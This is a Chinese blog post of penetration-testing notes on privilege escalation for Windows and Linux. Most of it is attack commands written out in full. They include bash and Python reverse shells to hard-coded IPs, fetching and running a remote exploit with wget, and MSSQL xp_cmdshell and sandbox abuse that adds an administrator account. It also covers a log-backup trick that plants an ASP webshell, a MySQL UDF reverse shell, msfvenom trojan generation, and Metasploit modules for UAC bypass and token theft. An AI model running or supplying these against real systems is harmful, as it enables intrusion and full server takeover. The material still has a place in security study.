内网渗透笔记之提权

写在前面

win下的提权

系统漏洞提权
数据库提权
绕过UAC提权
密码泄露
令牌窃取
系统配置不当,服务漏洞或应用软件漏洞 //不常用

liunx下的提权

系统漏洞提权
数据库提权
计划任务提权
SUID提权

系统漏洞提权

系统漏洞提权最简单,也是优先考虑的一种方法

window系统漏洞提权

假设我用蚁剑获得了一个webshell

然后对其执行systeminfo查询补丁信息

50.png

将得到的补丁信息放到提权辅助网站里查询

51.png

然后对可利用的漏洞进行利用

可以下载可用EXP,上传到服务器,执行利用,也可用MSF利用

52.png

liunx系统漏洞提权

一般得到liunx的webshell之后,需要先反弹shell

命令如下

客户端:nc -lvp 7777
服务端:bash -i >& /dev/tcp/192.168.0.4/7777 0>&1

如果bash不能用,就上传python的脚本,因为一般liunx都会有python环境

#!/usr/bin/python
#-*- coding: utf-8 -*-
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.20.151",7777)) #更改localhost为自己的外网ip,端口任意
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

然后就是一般套路

uname -a //查看内核版本
wget http://xxx/exp.c 下载exp,最好下载到temp文件夹下,也可以上传
gcc exp.c -o exp         编译
chmod +x exp             赋予执行权限
./exp                    执行

小结

在提权过程中,可以用一些提权辅助工具会更有效率

https://www.cnblogs.com/xiaozi/p/12600258.html

数据库提权

前提
有数据库的口令

数据库口令获得方式

配置文件
源码泄露

Mssql数据库提权

前提

拥有SA权限或者DBA权限

查询语句

select IS_SRVROLEMEMBER('sysadmin')   是否有SA权限

select IS_MEMBER('db_owner')    是否有DBA权限

SA权限

利用xp_cmdshell提权

一般其功能是关闭的,先打开

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

如果其被删了,那么上传xplog70.dll进行恢复

exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

利用

exec master..xp_cmdshell 'whoami';

利用SP_OACreate提权

先执行

EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'show advanced options', 0;

提权

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt'

使用沙盒进行提权

恢复对注册表的读写

dbcc addextendedproc ('xp_regread','xpstar.dll')

dbcc addextendedproc ('xp_regwrite','xpstar.dll')

修复沙盒维护模式

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

查看SandBoxMode是否为0

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

调用

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')

DBA权限

log备份(xxx为库名)

;alter database xxxx set RECOVERY FULL-- 
;create table cmd (a image)-- 
;backup log xxxx to disk = 'd:/web/1.bak' with init-- 
;insert into cmd (a) values ('<% eval request(123) %>')-- 
;backup log xxxx to disk = 'd:/web/2.asp'--

MySQL数据库提权

udf提权

有点长,emmm参考下面的链接

https://www.jianshu.com/p/d01167862c42

udf反弹shell提权

场景,获取了数据库密码但是无法getshell

利用

服务器

mysql> \.c:\mysql.txt
mysql>select backshell("YourIP",2010);

本地

nc.exe -vv -l -p 2010

Mof提权

使用MSF即可

use exploit/windows/mysql/mysql_mof

利用MSF提权

绕过UAC提权

前提

用MSF已经获得一个会话

一般都会先生成木马,传给服务器,获得一个会话

生成木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe > 保存路径/文件名

本地

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.44.130
set    LPORT 3333
exploit

就会得到一个这样的会话

54.png

绕过UAC提权

use exploit/windows/local/bypassuac
set session 1
exploit
getsystem

提权成功

令牌操纵提权

incognito假冒令牌

获得会话后

use incognito  
list_tokens -u
impersonate_token 'NT AUTHORITY\SYSTEM'
shell
rev2self        #返回原始token

steal_token窃取令牌

ps        #列出进程
steal_token <pid值>
drop_token            #删除窃取的token

傻瓜式提权

getsystem         #一般成功不了

内核漏洞

meterpreter > run post/windows/gather/enum_patches  #查看补丁信息

msf > use exploit/windows/local/ms13_053_schlamperei  #使用具体的exp,根据列出的具体可用exp而定

msf > set SESSION 1

msf > exploit

win系统服务权限配置错误

msf5 > use exploit/windows/local/service_permissions 
msf5 exploit(windows/local/service_permissions) > set AGGRESSIVE true
msf5 exploit(windows/local/service_permissions) > set SESSION 1
msf5 exploit(windows/local/service_permissions) > exploit

win可信任服务路径漏洞

在获得会话后
shell #进入目标机cmd
wmic service get name,displayname,pathname,startmode|findstr /i “Auto” |findstr /i /v “C:\Windows\“ |findstr/i /v “””

有“Vulnerable Service”、“OmniServ”、“OmniServer”、“OmniServers”四个服务对应的二进制文件路径没有引号包含起来,并且路径中包含空格,则是存在该漏洞的

检查写入权限

这里我们使用Windows内建的一个工具,icacls

icacls "C:\Program Files\Program Folder"

看到Everyone(OI)(CI)(F)则可写入

退出会话

然后

use exploit/windows/local/trusted_service_path

之后设置相关参数,攻击

自动安装配置文件漏洞

msf5 > use post/windows/gather/enum_unattend 
set session 1
exploit

其他提权

计划任务提权

查看已有计划任务

cat /etc/crontab

然后对已有脚本进行修改

SUID提权

可参考下面的链接

https://blog.csdn.net/qq_36119192/article/details/84872644

  • 版权声明: 本博客所有文章除特别声明外,均采用 Apache License 2.0 许可协议。转载请注明出处!
  • © 2020 丰年de博客

请我喝杯咖啡吧~

支付宝
微信